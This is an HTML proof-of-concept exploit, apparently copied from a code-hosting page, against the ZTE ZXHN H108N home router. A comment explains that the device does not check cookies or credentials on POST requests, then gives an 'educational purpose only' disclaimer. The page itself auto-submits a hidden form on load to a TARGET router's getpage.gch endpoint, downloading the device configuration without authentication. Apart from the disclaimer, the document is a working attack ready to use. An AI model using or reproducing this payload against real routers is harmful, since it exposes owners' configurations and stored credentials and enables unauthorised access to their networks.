52 lines
No EOL
1.8 KiB
HTML
52 lines
No EOL
1.8 KiB
HTML
<!--
|
|
ZTE ZXHN H108N unauthenticated config download
|
|
|
|
Copyright 2015 (c) Todor Donev
|
|
todor.donev@gmail.com
|
|
http://www.ethical-hacker.org/
|
|
https://www.facebook.com/ethicalhackerorg
|
|
http://pastebin.com/u/hackerscommunity
|
|
|
|
Tested device:
|
|
Model ZXHN H108N
|
|
Software Version V3.3.0_MU
|
|
|
|
Description:
|
|
Does not check cookies and credentials on POST
|
|
method so attackers could download the config
|
|
file without authentication.
|
|
|
|
\!/\!/\!/
|
|
Use at your own Use at your own
|
|
risk and educational risk and educational
|
|
purpose ONLY! purpose ONLY!
|
|
|
|
Disclaimer:
|
|
This or previous program is for Educational
|
|
purpose ONLY. Do not use it without permission.
|
|
The usual disclaimer applies, especially the
|
|
fact that Todor Donev is not liable for any
|
|
damages caused by direct or indirect use of the
|
|
information or functionality provided by these
|
|
programs. The author or any Internet provider
|
|
bears NO responsibility for content or misuse
|
|
of these programs or any derivatives thereof.
|
|
By using these programs you accept the fact
|
|
that any damage (dataloss, system crash,
|
|
system compromise, etc.) caused by the use
|
|
of these programs is not Todor Donev's
|
|
responsibility.
|
|
|
|
Use at your own Use at your own
|
|
risk and educational risk and educational
|
|
purpose ONLY! purpose ONLY!
|
|
/i\/i\/i\
|
|
-->
|
|
<html>
|
|
<title>ZTE ZXHN H108N unauthenticated config download</title>
|
|
<body onload=javascript:document.ethack.submit()>
|
|
<p>ZTE ZXHN H108N Exploiting..</p>
|
|
<form name="ethack" method="POST" action="http://TARGET/getpage.gch?pid=101" enctype="multipart/form-data">
|
|
<input type="hidden" name="config" id="config" value="">
|
|
</body>
|
|
</html> |